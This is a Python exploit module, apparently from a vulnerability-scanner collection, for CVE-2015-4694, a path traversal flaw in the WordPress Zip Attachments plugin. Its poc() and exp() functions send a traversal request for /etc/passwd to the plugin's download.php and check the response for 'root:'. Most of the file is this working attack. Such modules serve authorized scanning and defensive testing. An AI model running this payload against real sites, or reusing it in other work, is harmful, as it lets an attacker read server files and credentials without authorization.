text: import requests
  
  
  # Vuln Base Info
  def info():
      return {
          "author": "cckuailong",
          "name": '''Zip Attachments <= 1.1.4 - Arbitrary File Download''',
          "description": '''The zip-attachments plugin allows arbitrary file downloads because it does not check the download path of the requested file.''',
          "severity": "high",
          "references": [
              "https://wpscan.com/vulnerability/8047"
          ],
          "classification": {
              "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
              "cvss-score": "8.6",
              "cve-id": "CVE-2015-4694",
              "cwe-id": "CWE-22"
          },
          "metadata":{
              "vuln-target": "",
              
          },
          "tags": ["lfi", "wordpress", "cve", "cve2015", "wp-plugin"],
      }
  
  
  # Vender Fingerprint
  def fingerprint(url):
      return True
  
  # Proof of Concept
  def poc(url):
      result = {}
      try:
          url = format_url(url)
          path = '/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd'
  
          resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
          if resp.status_code == 200 and "root:" in resp.text:
              result["success"] = True
              result["info"] = info()
              result["payload"] = url+path
  
      except:
          result["success"] = False
      
      return result
  
  
  # Exploit, can be same with poc()
  def exp(url):
      return poc(url)
  
  
  # Utils
  def format_url(url):
      url = url.strip()
      if not ( url.startswith('http://') or url.startswith('https://') ):
          url = 'http://' + url
      url = url.rstrip('/')
  
      return url